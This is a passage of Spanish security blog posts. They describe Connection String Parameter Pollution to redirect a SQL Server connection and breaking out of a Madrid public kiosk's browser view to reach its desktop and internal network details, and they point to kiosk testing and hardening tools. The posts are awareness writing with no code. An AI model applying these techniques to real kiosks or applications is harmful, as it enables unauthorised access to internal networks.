Al final, con esta aplicación en concreto se daba otra singularidad negativa, y es que el nombre de la base de datos había sido agregado al final de la cadena de conexión. Esto, conociendo que en la polución de los parámetros hace que el "último gane", significa que desde el campo de usuario pudieramos manipular todos los parámetros anteriores menos el nombre de la base de datos.

En este último ejemplo se puede ver como se ha polucionado el valor Server de esta cadena de conexión para obtener un resultado de que en Localhost no hay instalado ningún servidor SQL Server. Esta polución nos permitiría buscar todos los servidores SQL Server dentro de la DMZ de la organización - uno de los entornos de ataque descritos en nuestra presentación de DEFCON - e intentar realizar realizar una conexión a algún entorno de backup no publicado en Internet.

Figura 7: Conexión a server Localhost con polución de parámetro SERVER

Al final como se puede ver, aunque las técnicas de Connection String Parameter Pollution las pensamos más en aplicaciones web, con aplicaciones Windows publicadas en entornos de Citrix y/o Terminal Services en los que ya hay un usuario con una sesión abierta, también tienen su cabida. 

Saludos Malignos!

No expongas tu red en los Puntos Públicos de Información

Un muy cercano compañero y amigo me pasó esta semana unas fotos que había tomado jugando con un Punto de Información Multimedia que una empresa ha puesto a disposición de los usuarios por la ciudad de Madrid. Dichos puntos de información llevan una aplicación que está basada en vistas web, por lo que hacer el jailbreak y salir del navegador es algo trivial, como ya hemos visto muchas veces - como el caso del Punto de Información de Turismo Interior.

Figura 1: La aplicación corre sobre una vista web de un navegador

Al abrir las opciones del navegador salían cosas curiosas, como que estaba haciendo un uso de un Proxy interno en la red basado en squid - o así parece por el puerto -. Desde ese punto, llegar al escritorio es una cuestión sencilla de jugar para hacer el jailbreak, al estilo de como se hace con Terminal Services o Citrix, y un sitio perfecto es la ayuda y la zona de impresión.

Figura 2: De ahí es fácil llegar a las impresoras

En la lista de impresoras se puede ver también una lista de servidores de la red interna con información de dominios y subdominios, pero una vez que se llega al escritorio, hay unos ficheros en unas carpetas que dejan la información mucho más accesible para cualquiera que juegue con este Punto de Información Multimedia.

Figura 3: Y de las impresoras al escritorio y el explorador de archivos

Por supuesto, en los documentos aparecen los usuarios y los lugares donde se encuentran estos Puntos de Información Multimedia, para que puedan ser conectados y controlados todos entre sí.

Figura 4: Direcciones IP, usuarios y nombres de equipos de los Puntos de Información

Es curioso que a día de hoy, a sabiendas de todas estas cosas desde hace años, no se hagan procesos de auditoría y fortificación a estos Puntos de Información Públicos que se van a exponer a cualquiera que pase por delante de ellos. Para probarlos se pueden utilizar herramientas como IKAT (Interactive Kiosk Attack Tool) que utiliza trucos automatizados para probar si el navegador de un kiosko va a aguantar o no los ataques que se puedan realizar.

Figura 5: Interactive Kiosk Attack Tool

Además, hace tiempo que se publicó el proyecto F*CK Tool para automatizar las fases de fortificación de los Puntos de Información basados en Kioskos Interactivos que se vayan a exponer, así que hay opciones para empezar el trabajo.

Figura 6: F*CK Tool

Si tienes que hacer un proyecto similar, no lo saques a la calle sin hacer una auditoría de seguridad. Está claro que la exposición en la vía pública no es tan grande como en Internet, pero dejar que cualquier extraño se conecte a tu red interna no es ninguna buena idea. Por supuesto, si los tienes en Windows XP, con el fin del soporte que viene, deberías actualizarlos todos también.

Saluodos Malignos!

Terminal Hackpplications en la Ekoparty 2011

La última vez que fui a la Ekoparty fue en el año 2011. Allí di una sesión sobre Terminal Hackpplications con todos los temas que tienes publicados aquí en El lado del mal sobre Citrix y Terminal Services. Es la misma charla que habíamos dado Juan Garrido "Silverhack" y yo en DEFCON 19, pero en Español. Ahora la tienes publicada en Vimeo, así que aquí os la dejo.

Figura 1: Chema Alonso en  Ekoparty 2011

En esta ocasión, a la hora de instalar el certificado en la última demo lo instalé en el sitio erróneo y no acerté con la demo - cosas del directo -, pero creo que se entiende todo bastante bien, incluidos los chistes malos.

Por si alguno pregunta... No, aún no sé si iré este año a la Ekoparty. La verdad es que se me está complicando la agenda minuto a minuto, pero mi idea inicial era asistir... aunque aún no os puedo confirmar si iré o no. Tanto si voy, como si no voy, os enteraréis pronto, que queda poco más de un mes para el gran evento.

Saludos Malignos!